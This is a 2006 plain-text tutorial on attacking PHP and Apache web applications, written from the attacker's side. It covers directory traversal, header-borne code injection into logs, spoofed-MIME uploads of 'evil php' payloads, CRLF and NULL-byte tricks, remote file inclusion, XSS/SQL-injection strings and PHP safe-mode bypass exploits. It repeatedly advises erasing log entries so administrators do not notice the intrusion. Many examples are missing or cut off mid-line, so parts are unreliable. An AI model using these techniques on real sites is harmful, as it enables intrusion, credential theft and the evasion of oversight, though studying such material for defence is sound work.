Weaknesses in Web-Applications 1.3










                     Weaknesses in Web-Applications v1.7

Author : theblacksheep
Version: 1.7 Date: July 30, 2006
         (check for a newer version at: http://www.bright-shadows.net/tutorials/tbs_wiwa.txt)
Contact: webmaster@bright-shadows.net

Knowledge means power. Maybe you can use this interesting fact for your advantage:
 Trick the ip2long() function into returning a valid IPv4 Internet network address
 instead of -1 even if the ip address argument is not a valid one.

#- Introduction
#- General - Collecting Information
 - Google
#- Viewing the Source of a Web Page
#- Editing of Source Code
#- JavaScript Inline Debugger
#- Directory Listing/Index Browsing
#- robots.txt
#- Reverse Directory Transversal
#- Information Storage In Files
#- Header Based Exploitation
 #- X-Forwarded-For: IP-Spoofing
#- Mime Type Spoofing
#- CRLF-Injection
#- Global Variables
#- Remote Files
#- Library Files
#- Session Files
#- NULL Byte
#- SQL-Injection
#- Cross Site Scripting
#- Cross-Site Request Forgeries (CSRF)
#- Session Fixation
#- Loose Typing And Associative Arrays
#- Interesting PHP Functions
 - ereg()
 - file()
 - file_get_contents()
 - fopen()
 - include()
 - include_once()
 - is_dir()
 - is_file()
 - phpinfo()
 - readfile()
 - require()
 - require_once()
 - touch()
 - unlink()
#- PHP vulnerabilities
 - copy (4.4.2, 5.1.2 and prior - Safe Mode Bypass)
 - error_log (4.4.2 and prior, 5.1.4 and prior - Safe Mode Bypass)
 - phpinfo (4.4.2, 5.1.2 and prior - Cross Site Scripting)
           (4.4.0 and prior - Cross Site Scripting)
           (4.4.0, 5.0.5 and prior - Cross Site Scripting)
#- Apache - Unknown Mime Type Trouble
#- Interesting Files
#- Useful Commands
#- HTTP Error Codes
#- Execution Of Shell Commands
#- Protecting PHP
#- Web bugs
#- Faking Cookies
#- Getting the source code of ".swf" Flash files
#- Getting the source code of ".class"/".jar" Java applet files
#- Passwords (guessing, brute force, dictionary attack)
#- Tools
 - CGIProxy
 - Proxomitron

#- Buffer Overflow
#- Format String
#- Heap Overflow
#- Integer Overflow

#- Other interesting tutorials you should read
#- Thx!
#- History

--[< Introduction >] -------------------------------------------------------

First my intention was to put everything I know about that topic into a database so in case I forget
something I can just have a look at it again.
Then I figured that there are probably more people out there that are interested in this topic.
So I have decided to write this tutorial.
But please don't give me full credit for everything in this tutorial!!!
Some things are just rewritten (for better understanding and examples) parts of other tutorials out
there (at the end of this tutorial is a list of them).
If you find any mistakes please send me an e-mail (webmaster@bright-shadows.net) and I will fix it.

--[< General - Collecting Information >] -----------------------------------

When trying to attack a web site you have to collect information about it. Things I would do first:

 .- check out if they use their own scripts or scripts written by someone else
   if written by someone else:
    .- search for an existing exploit for that application
    .- try to get the source code to look for bugs on your own

 .- look for scripts that take user input
   .- maybe directory listing works
   .- check the source code
   .- try common directories and filenames

 .- try to figure out what the scripts do with your input
    for example:
     #write it into databases/files
     #echo it back to you
     #execute commands
    .- figure out how the applications filter your input
    .- try to get around these filters

 .- run proxomitron or a similar tool that allows you to view HTTP header messages

 .- learn how to use google for gathering information
 .- this tutorial is going to help you a lot:
    - "The Google Hacker.s Guide" by Johnny Long (use google to find it)

--[< Viewing The Source Of A Web Page >] -----------------------------------

Often it is important to see the source code of a web page. That's how to do it with the 2 most
common browser:

 View        --> Page Source
 Right Click --> View Page Source

 If the site consists of frames you also have this option to get the source code of a certain frame:

 Right Click --> This Frame --> View Frame Source

 View        --> Source
 Right Click --> Source
 Right Click --> Frame --> Source

Internet Explorer
 View        --> Source
 Right click --> View Source

Often you can also type this in the address bar of your browser to see the source:

view-source: path to the web page

To see the source code of a PHP, PERL,... application you have to find a vulnerability that you can use
because their code gets executed on the server and you will only see the output.
So don't even think about it!!! There is no way (without exploiting it) to see the code of a PHP, PERL
or ASP page!!!

--[< Editing of Source Code >] ---------------------------------------------

1. Save the web site offline
2. Open the file with your favourite editor
3. Make the changes
4. Save the file
5. Run it


website http://www.test.com
<form name="form" action="/whatever/index.php" method="post"
  <input type="text" value="" name="user" maxlength="10" size="20" />
  <input type="text" value="" name="pass" size="20" disabled/>
  <input type="submit" value="Login" />
If you want to change the attributes of the password field so that it
isn't disabled anymore, you save the web site offline.
Now open it with a editor and remove the disabled attribute.
Do not forget to change the action path too, or nothing would happen
if you run it later on!
The reason is that you run it locally and your computer has no idea
what to do with those information. You have to specify the full path,
so that it knows where to send all the stuff too.

So your new lines of code should be:

<form name="form" action="http://www.test.com/whatever/index.php" method="post"
  <input type="text" value="" name="user" maxlength="10" size="20" />
  <input type="text" value="" name="pass" size="20" />
  <input type="submit" value="Login" />

Now just save it and run it.

If you use Firefox as your browser you also have another more convenient
way to solve the problem.

1. Open the web site you want to change in a new window
2. Go to Extras --> DOM Inspector
3. Now you have the opportunity of changing every tag and its

Using this method you do not have to deal with adjusting paths and
saving stuff offline.

A third way of editing source code is given by the javascript inline 
debugger which is described next.

--[< JavaScript Inline Debugger >] -----------------------------------------

Sometimes you have to change forms on a webpage (for example hidden fields) to put in what you want.
One way is to download the page and to change the values offline. Then run it with the changed fields.

Another, often faster way is to use JavaScript to change the fields while you are online.

Most browser allow "javascript:expression" to be typed into the address field what can be used to change
form values on the current page.
However, if you use functions with return value, the content of the page will be destroyed. If you use 
"void()" and "alert()" it won't happen.

You can use "alert" to alert a value and "void" to change it (void is maybe more interesting).



If you use


you will change the value and it gets displayed immediately.

Things that can be changed:

Cookies        - document.cookie
Regular Fields - document.forms[0].name.value
Selections     - document.forms[0].name.options[0].value

--[< Directory Listing/Index Browsing >] -----------------------------------

Index browsing can be very useful in trying to find files you normally shouldn't see like password files,
files used to administrate the web page, log files, any files were information get stored,...

If you access to a web site like in the example below, you will get the intro.html in the start/

http://website.net/start/intro.html     -->intro.html in the start/ directory

If you don't tell the server which specific file you want (only the folder), it will start to
try out default file names which can be defined by the admin in the web server configuration:


The most common are:


If the server finds one of these files he will open it.
If not, two things can happen.

1. .-directory listing/index browsing is enabled
   .-you will see a listing of files that are in that directory

2. .-directory listing/index browsing is disabled
   .-you will see a page that tells you that you don't have access to the folder

Every directory on a webpage is a potential target.
To find directories you can check your address bar of your browser or also the source code for links, to
find places like where the pictures are stored at the site.
You can also try some common names for folders by hand or you can use a program that does it 
automatically for you:


Programs that do it automatically for you:

.-cgi scanner
.-site explorer

Cgi-scanners look for files that may be part of an application that is exploitable.
If you use a site explorer you should know that he will only find files that are linked somehow
with the page he starts at. So you won't find a password file because no direct link to it will
be on the site (or at least in 99%).

Sometimes also simple guessing of a file name may help you to move on.

--[< robots.txt >] ---------------------------------------------------------

robots.txt is a file, search engines look for in your root domain.



In the file are instructions for the search engine which files it is allowed to spider (download).
-->Robots Exclusion Standard

For example if you have pictures on your website and you don't want a search engine to list them, you can 
write it down in that file.

The robots.txt file consists of records (each 2 fields) and should be created in UNIX line ender
mode (\n).

Each record has a "User-agent" line and at least one "Disallow" line.

User-agent: ...   --> specifies the robot (use a * to specify all robots)
Disallow: ...     --> files or directories and that shall not be downloaded

Example 1:

User-agent: googlebot
Disallow: index.html    -->don't index index.html
Disallow: /cgi-bin/     -->don't index the cgi-bin directory
#comment                -->comments start with #
Disallow: /secret       -->don't index the file secret.html and the directory /secret/

It can be very interesting to look at these files. Sometimes you will find the path to directories
no-one should see.

--[< Reverse Directory Transversal >] --------------------------------------

This is a common vulnerability which allows an attacker to have access to files that he normally has not
access too.

A really bad example would be:
fopen($HTTP_GET_VARS['filename'], "a");

It opens the file you want to on the web server. So you can open any file because nothing gets filtered!

This one might seems a little bit safer and seems to just allow you to open files in the include
directory but that is wrong!

$file_to_open = '/files/include/'.$HTTP_GET_VARS['filename'];
fopen($file_to_open, "a");

This example is vulnerable for a reverse directory attack.
If the user input is '../anyfile.php', the script will open anyfile.php in the /files directory and not
in the include directory.
The "../" tells the server to move one directory up. You leave the include directory and you move in the 
files directory.
If you use more "../" in a row you can even move further up.

$file_to_open = '/files/include/'.'../../anyfile.php';
fopen($file_to_open, "a");
=this would open /anyfile.php

The whole reverse directory thing allows you to move backwards (upwards) in the directory tree.

Some scripts try to use protections against the attacks but not always does the protection work.

This script only looks for ../ in the script and removes them when found:

$filtered_filename = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['filename']);
$file_to_open = '/files/include/'.$filtered_filename;
fopen($file_to_open, "a");

If you want to open anyfile.php in the root directory, you would use "../../anyfile.php" if no filter
would exist.
But after it gets filtered just anyfile.php is left. Not what you want. Just try this one: 
After it gets filtered "../../anyfile.php" is left. That is exactly what you want.      

Sometimes you can also use the filters to your advantage.

$filtered_filename = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['filename']);
$filtered_filename = preg_replace("/;/i",'',$filtered_filename);
$file_to_open = '/files/include/'.$filtered_filename;
system(cat $file_to_open);
This looks like to filters ../ which can lead to a reverse directory attack and then the ; character that
is used to execute more than one command.
Just look at this input: ..;/..;/anyfile.php
The first filter does nothing and the second removes the ; so that ../../anyfile.php is left. That is

Even if the protection looks much more advanced and the meta characters get filtered 

-->meta characters:  &;`'\"|*?~<>^()[]{}$\n\r

Check if really all of them get filtered. Sometimes they forget to filter \.

--[< Information Storage In Files >] --------------------------------------

Even databases are very popular today, not everyone has access to it and so some scripts use files to
store information.
If you find any of these database files, check them out!!! They often contain information like usernames, 
passwords, ...
Sometimes it is also important for you to put information into such a file. A problem for the programmer
but a good thing for you might be how the input gets broken up.


adds user
$user  = $HTTP_GET_VARS['user'];
$pass  = $HTTP_GET_VARS['pass'];  -->it is just a simple example that doesn't even check if the user
already exist
$admin = 'no';
$hfile = fopen('database_file', 'a+');
fwrite($hfile, "$user:$admin:$pass\n";

reads file
$hfile = fopen('database_file', "r");

while (!feof($hfile)){
    $buffer = fgets($hfile, 4096);
    $info  = explode(":", $buffer);
    if($info[1] =='yes'){
      echo "He is admin";
fclose ($hfile);

possible database_file

If you find code like in this example, you should jump in a circle ;-) Nothing gets filtered.
In case you get access to the database_file you can see all user/pass combinations.
That the passwords are not encrypted makes it even 100 times better. (the passwords are often md5

Often you won.t be able to see the database_file and you have to try trial and error to figure out what
is going on.
If you know how the database_file is structured you can add any possible user you want.

Input: user=theblacksheep:yes:pass
The database_file would look like this:

Now you got an admin user with the name "theblacksheep" and the password "gohome".

--[< Header-Based-Exploitation >]-------------------------------------------

If you visit a website, your browser sends information to the server. For example something like that:

GET / HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,
        application/x-shockwave-flash, */*
Accept-Language: de
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
Host: www.bright-shadows.net
Connection: keep-alive

The server then response and sends information back:

HTTP/1.1 200 OK
Date: Thu, 11 Dec 2003 23:38:49 GMT
Server: Apache/1.3.19 (Unix)  (SuSE/Linux) PHP/4.3.0
Connection: close
Content-Type: text/html

That is only an example and many different "headers" can be exchanged. But for what we are
interested these ones are enough.

In the header that our browser sends, we ask the server to give us the index file that is in the root
directory of www.bright-shadows.net.
Important for us is that our browser always sends his name (User-Agent:...) and where we are coming from
(Referer:...) to the server.
The good thing is that we can change this information (you can use for example the tool proxomitron).
But why are we interested in changing this information?

The first answer that should come into your mind is to hide information about us. The second one should
be, to try to execute code on the web server.
Many pages run scripts that log your IP, browser and referer and show them to the admin in form
of diagrams or only simple text output. In most cases they don't check your header for "evil code".
Why should they?

Let's look at this example to figure out why:

GET / HTTP/1.0
Accept: ...
Accept-Language: de
User-Agent: <!--#virtual include="afile"-->          ==>SSI
Host: www.bright-shadows.net
Referer: <?php fopen(...)... ?>                      ==>PHP
Connection: keep-alive

If you would send information like that it can lead (depends on how the web statistic software outputs
the information) to the execution of your code. If it takes for example the information (without
filtering) and puts them into a PHP file your PHP code will get executed when the logs get viewed
the next time (not an uncommon method). The same would happen to your SSI code. If it gets written
into a .txt file you are often screwed but be creative.

Other type of code you can try to get into the log file:

        .- Java
        .- Active X
        .- Python
        .- Perl
        .- VBscript
        .- ASP
        .- JSP

If you found a way to execute your PHP, SSI or PERL code, you can do almost whatever you want.
But maybe you should start with changing the log file so that you don't appear in it.

If your code gets written into the file and should be executed but you are waiting and nothing happens
then the problem is maybe that the software only shows the "Top Referer/User-Agents". For example the
most common 10, 20, ...
One way to get around it is for example send a flood of requests to get your information into the top
10, 20, ...
It is maybe not one of the most efficient ways but it would work.
Nevertheless after that attack you should clean the logs or even an admin with no experience would
start to wonder.

For another important aspect of using the header for exploitation, please have a look at 
the "SQL-Injection" section!

      --[< X-Forwarded-For: IP-Spoofing, Command Execution, SQL - Injection >]-

      In case a user uses a proxy $_SERVER['REMOTE_ADDR'] just returns the IP address of the proxy.
      If the proxy is not really anonymous they usually introduce the "X-Farwarded-For" header which
      is set to the users IP.
      But just because the "X-Farwarded-For" header is set, doesn't mean it has been a proxy that
      did it.
      Nevertheless many scripts trust it and use it unsanitized in SQL queries or certain
      command execution statements.
      Some also expect the real IP of a user to be in the "X-Forwarded-For" header if set.
      This can lead to IP-Spoofing because everyone can create a fake "X-Forwarded-For" header.

      Vulnerable example code (phpbb 2.0.8)
      if(getenv('HTTP_X_FORWARDED_FOR') != ''){
        $client_ip = (!empty($HTTP_SERVER_VARS['REMOTE_ADDR'])) ?

--[< Mime Type Spoofing >]--------------------------------------------------

The "Content-Type" header in a http request gives information about the data that
is being transfered.
Some web applications allow you to upload certain types of file (for example .jpg, .gif,
.png, .txt, ...).
To make sure that you are not a bad guy they check the extension of the uploaded
Some just have a look at the mime type.


As you should have learned headers are sent by the client!
What happens if we try to upload a php file by setting the "Content-Type" to "image/gif"?
It is going to be uploaded without complaining.

   $header  = "POST [path to vulnerable application] HTTP/1.1\r\n";
   $header .= "Host: [vulnerable host]\r\n";
   $header .= "Content-type: multipart/form-data, boundary=beerhunter\r\n";
   $header .= "Content-length: [size of the php file]\r\n";
   $header .= "\r\n";
   $header .= "--beerhunter\r\n";
   $header .= "content-disposition: attachment; name=\"userfile\"; filename=\"[evil php filename]\"\r\n";
   $header .= "content-type: image/png\r\n";
   $header .= "\r\n";
   $header .= "[evil php code (payload)]\r\n";
   $header .= "--beerhunter--\r\n";
--[< CRLF-Injection >]------------------------------------------------------

The combination Carriage Return(CR, ASCII 13, \r) and Line Feed(LF, ASCII 10,\n) is used in Windows to
show that
this is the end of the line. Unix only uses Line Feed.

In user input both can be a security issue.

A simple example is a log script. Something like:

date       username      message
12/12/2003 theblacksheep move on!

Nothing really exciting but what would happen if you would put something like:
"my message\n12/13/2003 notheblacksheep get me!" (without quotes). If the input would not get filtered,
the log file would look like this:

date       username         message
12/12/2003 theblacksheep    move on!
12/12/2003 theblacksheep    my message
12/13/2003 nottheblacksheep get me!

Not what we wanted to get. The user created a fake entry in the log script.


Another example would be HTTP headers. Each line is separated by a CRLF. Every time a user can define a
HTTP header and the input gets not filtered it is possible for him to add header.
Code snippets like:

Location: $target\13\10   -->normally just a redirection

But if $target is something like:

http://www.page.org/\13\10Referer: idontcare


More interesting is maybe an e-mail system that allows you to send e-mails to people that don't wanne
show you their email address to stay anonymous. If you can give the value for one mail header
(for example "Subject:") and your input gets not filtered, it is possible for you to get the address 
of the other person. Just use CRLF and add a "Bcc:" field with your own address. Now you will get a 
copy revealing the recipient's e-mail address.

Subject: $usermessage

Your input for $usermessage:

hello\r\nBcc: yourownemailadress

--[< Global Variables >]----------------------------------------------------

In PHP, variables are automatically created the first time they are used(empty: "") in the code
and their type is based on the content in which they are used. That makes it very easy and
comfortable for the programmer.

PHP as a programming language that is most of the time used for web applications, often deals with
user input.

Examples: .form variables
          .uploaded files

It takes the input, processes it and returns the output.
To handle the input easily, PHP provides you global variables.
Before PHP version 4.1.0 (included 4.1.0), all the variables (Environment, GET, POST, Cookie, and
Server) got written into the same namespace. So an attacker was able to put arbitrary variables with
arbitrary values into the namespace. If the programmer doesn't initialize the variables in his code,
he can't expect that the variable got not changed by an attacker.


  if ($pass == "noidea")
    $auth = 1;
  if ($auth == 1)
   echo "Access granted";

You can easily bypass the authentification by sending a variables "auth" to the script with the value 1.

After PHP 4.1.0 register_globals is turned OFF by default and variables get written into super global

If you call the script for example like that:


You could use variable1 and variable2 in your script, depending on the web server configuration,
like this:

register_globals ON

//-->only possible if track_vars is on else:

register_globals OFF

If track_var is on you can use the following arrays:


track_vars enabled: variables submitted by the user are available both from the global
                    variables and also as elements in the arrays mentioned above

Sometimes you will have problems that a third-party PHP application needs register_globals ON!
You can put for examples these lines

 php_flag register_globals Off
 php_flag track_vars On

into an .htaccess file to change the settings for only a special program.
In the Apache web server configuration has "AllowOverride" be set to "AllowOverride Options"

Under the 'admin/' directory, index.php checks whether the password matches the one
in the database after posting the form:

    if ($dbpass == $pass) {
        header("Location: index2.php");

When the passwords match, the variables $myname, $fullname and $userid are registered as
session variables. The user then gets redirected to index2.php. Let us see what happens there:

    if (!$PHPSESSID) {
        header("Location: index.php");
    } else {
        if (!$myname) session_register("myname");
        if (!$fullname) session_register("fullname");
        if (!$userid) session_register("userid");

If the session ID has not been set, the user will be directed back to the login screen.
If there is a session ID, though, the script will resume the session and will put the
previously set session variables into the global scope. Nice. Let us see how we can exploit
this. Consider the following URL:


The GET variables $PHPSESSID, $myname, $fullname and $userid are created as global
variables per default. So when you look at the if-else-structure above, you will notice
that the script figures $PHPSESSID is set and that the three variables dedicated to
authorize and identify the user can be set to anything you want. The database has not even
been queried.

--[< Remote Files >]--------------------------------------------------------

I have talked about this in other parts of the tutorial but it is so important that I
have decided to put it under an extra topic.

Example code to open a file:
  if (!($hfile = fopen("$filename", "r"))
   echo("Could not open file: $filename<br />\n");

This example opens the file with the name specified in the user input ($filename).
That means it opens every file an attacker wants to open and if allow_url_fopen is ON even remote files.
Look for example at this piece of code:

  include($libdir . "/languages.php");

Just create a file .languages.php. on your web server and call the script like this:


It will execute your file on the target server. Important is just that you have PHP off or the
code will get executed on your server.

--[< Library Files >]-------------------------------------------------------

Sometimes we need pieces of code over and over again. So we just put these pieces of code into
a separated file and include() or require() this file when needed.
Often these Libraries have had the ending ".inc".
The problem is that you can open these files with your browser and you will see the source code.
The simplest solution and by many people favoured on is to name the files ".inc.php".
So you can't get the source code in the file.

But often another problem exists.
These files are created to use them in a special content.
It is not seldom that they use variables which they get from the script that includes/requires them.


  $library_dir = "/library_dir";


This script would work perfect without any security problems if it would run in the defined context.
But if an attacker would open "library_dir/loadfile_layout.php", he could define $library_dir and if
the setting of the web server allows it, even to a remote file.
That means he could include every PHP code he wishes to.

Often library files are in directories as:


--[< Session Files >]-------------------------------------------------------

Sessions are used to save user information when a user moves from page to page on a web site.
One example would be a login script that checks if you are already logged in.

-->session is started
-->random id gets generated
-->your information are linked with this id
-->your browser sends with every request this id
   .a cookie for example
-->the session variable can also be stored in a form variable on every page

With every session PHP can register a particular variable. Its value gets stored at the end of the
PHP script and new loaded at the beginning of a script.


  session_destroy(); // Kill any data currently in the session
  $me = "theblacksheep";
  session_register("me"); registers $me as session variable

Any later PHP scripts will automatically have the variable $me set to "theblacksheep". If
they modify it later scripts will receive the modified value.

One obvious problem is with insuring that variables actually come from the
session. For example, given the above code, if a later script does the

  if (!empty($me))
   // You are allowed to get in

Doesn't really look bad or?
But what the script does is, it thinks that $me comes from the session and not from user input.
If you could specify $me (send it as GET or POST) you could get access to the site.
->the attacker has to do it before the variable is registered in the session
  .if it is in the session it will override any form of input

The session files are saved in a directory specified by the web server.
In most of the cases it is named "/tmp". A name of a session files looks like:

sess_<session id>

In it are all names of variables of this session, their loose type, value and other data.
The files are saved as the user who runs the server (typically nobody).
On multi host systems, a malicious site owner can easily create a
session file granting themselves access on another site or even examine the
session files looking for sensitive information.

The session mechanism also supplies another convenient place that
attackers have their input saved into a file on the remote machine. For
examples above where the attacker needed PHP code in a file on the remote
machine, if they cannot use file upload they can often use the application
and have a session variable set to a value of their choosing. They can then
guess the location of the session file, they know the filename 'php<session
id>' they just have to guess the directory, usually /tmp.

Finally an issue I haven't found a use for is that an attacker can specify
any session id they wish (e.g. 'hello') and have a session file created with
that id (for the example '/tmp/sess_hello'). The id can only contain
alphanumeric characters but this might well be useful in some situations.

--[< NULL Byte >]-----------------------------------------------------------

Do not mix up the NULL byte with 0 (zero)!
The NULL byte is the byte with the hex representation "%00".
It also might be written as "\0".
For PHP, the NULL Byte is a NULL character. The problem is PHP is coded in C and the NULL Byte in C is
a string terminator. It means that the string stops when there is a NULL Byte!
Also system calls passed to the operation system should be filtered carefully.
UNIX is written in C too, and so the string termination character NULL might lead to problems.

The best example is to fool web application into thinking a different file type has been requested.
 $file = $HTTP_GET_VARS['file'];
 $file = $file.'.txt';
 fopen($file, 'r');

Looks not bad the script. It takes the filename that it gets and puts ".txt" on the end. So the
programmer tries to make sure that only txt files can be opened.
But what about a filename like this:


It will get to:


So fopen opens phppage.php%00.txt or? No! And that is the point. The fopen functions stops after
".php" before the NULL Byte and opens only "phppage.php".  So every type of file can be opened.

Scripts that allow uploads (but only for a certain file type) are also a potential target for this
type of attack.

For another usefull example of the NULL byte have a look at /*ereg()*/.

--[< SQL-Injection >] ------------------------------------------------------

There are quite a lot of interesting and good tutorials out there
about that topic:

  # Manipulating Microsoft SQL Server Using SQL Injection [12-2003]
  # Blind SQL Injection [10-2003]
  # Using Binary Search with SQL Injection [8-2003]
  # SQL Injection [7-2003]
  # More Advanced SQL Injection [6-2002]
  # Advanced SQL Injection In SQL Server Applications [1-2002]

There are just two advices I want to give you. Use something like this when you fake your user-agent,
referer and X-Forwarded-For header:

user-agent:      "><script language="text/javascript">alert('bingo');</script><" UNION SELECT '"- UPDATE;
referer:         "><script language="text/javascript">alert('bingo');</script><"(,'"><'UNION
                 SELECT * '
X-Forwarded-For: "><script type="javascript/text">alert('bingo');</script><"' UNION include

The reason is that some sites log those information in a database and not all filter them.
In case they do not get filtered and they are echoed back, the javascript message is going to be shown.
If they are just logged the last part should cause a sql error.
So you might be confronted with some nice information.

--[< Cross Site Scripting >] -----------------------------------------------

This attack is also known as XSS.
Some good tutorials about this topic are:

  # Real World XSS [12-2003]
  # The Anatomy of Cross Site Scripting [11-2003]
  # Advanced cross site scripting and client automation [10-2003]
  # The Cross Site Scripting FAQ [8-2003]
  # Cross-Site Scripting [7-2003]
  # Cross-Site Tracing (XST) [1-2003]
  # Bypassing JavaScript Filters - The Flash Attack [8-2002]
  # Evolution of Cross-Site Scripting Attacks [5-2002]

--[< Cross-Site Request Forgeries (CSRF) >] --------------------------------

CSRF aims at making a user do something that he has the right (priviledge)
to do (the attacker doesn't) but that is not intended by him.

A superuser is logged in with privileged rights.
Therefore he can access files other users would like to have access to.
Those user could send a link to the superuser which would send him to one of those files
if clicked by the admin.

worst case example:

But why would he visit that link?
Maybe you have done some good social engineering or you have injected some html code.
Another chance is to include a remote image.
Many forums offer a [img] tag.
Use the web bug method for redirecting the superuser to those files.


  header("Content-type: image/jpeg");
  header("Location: cmd.php?cmd=pwd");

No-one can protect himself against this issue without filtering all images or
dropping the privileges by logging out.
--[< Session Fixation >] ---------------------------------------------------

A good introduction:

  # Session Fixation Vulnerability in Web-based Applications [12-2002]
  # Brute-Force Exploitation of Web Application Session IDs [11-2001]

--[< Loose Typing And Associative Arrays >]---------------------------------

Every variable can have different values depending on the content in which it is being evaluated.

$test = '' -->evaluated as number would be 0

$test_array["000"] is not the same array entry as $test_array[0]

--[< Interesting Functions >]-----------------------------------------------

That is a list of function which you might be able to exploit if you can affect the value of one of
their parameters.

Code Execution:
require()      - reads a file and interprets content as PHP code
include()      - reads a file and interprets content as PHP code
eval()         - interpret string as PHP code
preg_replace() - if it uses the /e modifier it interprets the replacement string as PHP code

Command Execution:
exec()         - executes command + returns last line of its output
passthru()     - executes command + returns its output to the remote browser
`` (backticks) - executes command and returns the output in an array
shell_exec     - executes command + returns output as string
system()       - executes command + returns its output (much the same as passthru())
                 .can't handle binary data
popen()        - executes command + connects its output or input stream to a PHP file descriptor

File Disclosure:
fopen()             - opens a file and associates it with a PHP file descriptor
readfile()          - reads a file and writes its contents directly to the remote browser
file()              - reads an entire file into an array
file_get_contents() - reads file into a string

- this function is vulnerable against a NULL byte attack

 Example code:

     echo "Do not try to get past this!";
    echo "You have passed the filter!";

 If the supplied parameter $_GET['chars'] starts with a NULL byte you can use all chars in the rest
 of your parameter even the ones that should be filtered.

  Input: and' '1'='1'/*
  Output: Do not try to get past this!

  Input: %00and' '1'='1'/*
  Output: You have passed the filter!

 This allows you to get all types of chars through the filter to run sql-injection attacks or XSS.

- information disclosure and XSS if the specified file doesn't exist
  (- have a look at the /*is_file()*/ example)

   Warning: file(%parameter%): failed to open stream: No such file or directory in %path%
   on line %x%

- same as /*file()*/

- same as /*file()*/

- information disclosure and XSS
- if the file that should be included doesn't exist it is possible to execute javascript code (XSS) and
  it is possible to see the part of the parameter that can't be specified by you
  (- have a look at the /*is_file()*/ example)

   Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x%
   Warning: main(): Failed opening '%parameter%' for inclusion (include_path='%path%') in %path%
   on line %x%

   The first warning shown is the one that is vulnerable to XSS. In the second one the javascript/html is

- same as /*include()*/

- information disclosure and XSS
- if the is_file() parameter is longer than 255 chars then the whole paramter gets shown
- that allows you to figure out parts of the path which can't be influenced by you
- this only seem to work if there is a fixed part else nothing happens

   Warning: is_file(): Stat failed for %parameter% (errno=36 - File name too long) in
   %path% on line %x%

 So for example:


 Will give you this error output:

   Warning: is_file(): Stat failed for directory/256 A's (errno=36 - File name too long) in
   /whatever/path/filename.php on line 2

- same problems as /*is_file()*/

- this function alone gives you a lot of information about how php is configured on that server
- often it is used in a file named phpinfo.php
- for bugs in certain versions check "PHP vulnerabilities"

- same as /*file()*/

- information disclosure and XSS
- if the file that should be included doesn't exist it is possible to execute javascript code (XSS) and
  it is possible to see the part of the parameter that can't be specified by you
  (- have a look at the example at /*is_file*/)

   Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x%
   Warning: main(): Failed opening required '%parameter%' (include_path='%path%') in %path%
   on line %x%

   The first warning shown is the one that is vulnerable to XSS. In the second one the javascript/html is

- same as /*require()*/

- same problem as is_file
- the error looks like this:

   Warning: touch(): Unable to create file %parameter% because File name too long in
   %path% on line %x%

- same problems as is_file but also possible to execute javascript code(XSS) because the passed parameter
  doesn't get filtered
- the error looks like this:

   Warning: is_file(): Stat failed for %parameter% File name too long in
   %path% on line %x%

  If you use javascript in your long string then it gets executed when the error is shown.

  Example: 256 A's<script>alert('hello');</script>

--[< PHP vulnerabilities >]-------------------------------------------------

# (4.4.2, 5.1.2 and prior - Safe Mode Bypass)
Exploit: http://securityreason.com/achievement_exploitalert/8

copy("compress.zlib:///etc/passwd", $temp);

# (4.4.2 and prior, 5.1.4 and prior - Safe Mode Bypass)
 error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
# (4.4.2, 5.1.2 and prior - Cross Site Scripting)
Exploit: phpinfo.php?cx[]=ccccc..~4096chars...ccc[XSS]

# (4.4.0, 5.0.5 and prior - Cross Site Scripting)
Exploit: phpinfo.php?GLOBALS[test]=[XSS]

# (4.4.0 and prior - Cross Site Scripting)
Exploit: phpinfo.php?whatever=[XSS]

--[< Apache - Unknown Mime Type Trouble >]----------------------------------
If you have a file "whatever.php" the Apache webserver treats it as a php file.
If you have a file "whatever.jpg" the Apache treats it as an image.
If you have a file "whatever.php.jpg" it is also treated as an image because the
extension is ".jpg" and the Apache knows this mime type..
The information about the extensions and mime types are saved in the ".../conf/mime.types".
What do you expect does the webserver with this file: "whatever.php.tbs".
He handles it as a php file!
The reason for that is that the Apache doesn't find the extension ".tbs" in the list
and therefore choses ".php" as extension.
I think this is wierd and unnecessary but it might help us to place our php code
somewhere at the server.
So keep it in mind!
--[< Interesting Files >]---------------------------------------------------

-this is the system password file of UNIX
-it is shadowed so that it will not provide you encrypted passwords
-the only useful things in it might be usernames if you look for a valid one

-the system password file that contains the encrypted passwords
-you can.t read it if you are not root
-if the web server runs as root you can open it!!!

-contains the first message a user sees when they login
-it might give you information about the system (operating system version)

-provides information about ip addresses and network information
-gives you more information about your target system/network setup

-common path to the Apache web server configuration file (path may be different)
-gives you information about which websites are hosted and the settings of the web server

".htpasswd, .htaccess, and .htgroup"
-used for password authentication on a website
-in the .htpasswd is the username:password combination stored
-the password is an encrypted hash (MD5, DES,...)
-brute force the password to be able to access the protected part

"access_log and error_log"
-log files of the apache web server
-if you have access to them, change everything that tells the admin that you have been there

"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
-WinNT password file
-can be cracked with "l0pht crack"

-directory that contains the IIS server logs

-directory that contains the backup password file on NT systems.
-either named "sam._"(NT4) or "sam"(Win2k)

-is started by certain versions of windows every time at boot up

- php config file
- common name for a test file that runs phpinfo()
- that function lists all types of information about the current php configuration

--[< Useful Commands >]-----------------------------------------------------

You will find here just a list. It would go too far if I would explain how to use them.
Just use google to get information about each.

"cmd.exe" ->windows shell
"wget and tftp"
"kill and killall"
"cc, gcc, perl, python, etc..."
"xterm/Other X application"

chown = allows setting user ownership of a file.
chmod = allows file permissions to be set.
chgrp = allows group ownership to be changed.
chsh = allows a user to change the shell that they use.

--[< HTTP Error Codes >] ---------------------------------------------------

100 Continue
101 Switching Protocols
200 OK
201 Created
202 Accepted
203 Non-Authoritative Information
204 No Content
205 Reset Content
206 Partial Content
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
303 See Other
304 Not Modified
305 Use Proxy
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Time-Out
409 Conflict
410 Gone
411 Length Required
412 Precondition Failed
413 Request Entity Too Large
414 Request-URL Too Large
415 Unsupported Media Type
500 Server Error
501 Not Implemented
502 Bad Gateway
503 Out of Resources
504 Gateway Time-Out
505 HTTP Version not supported

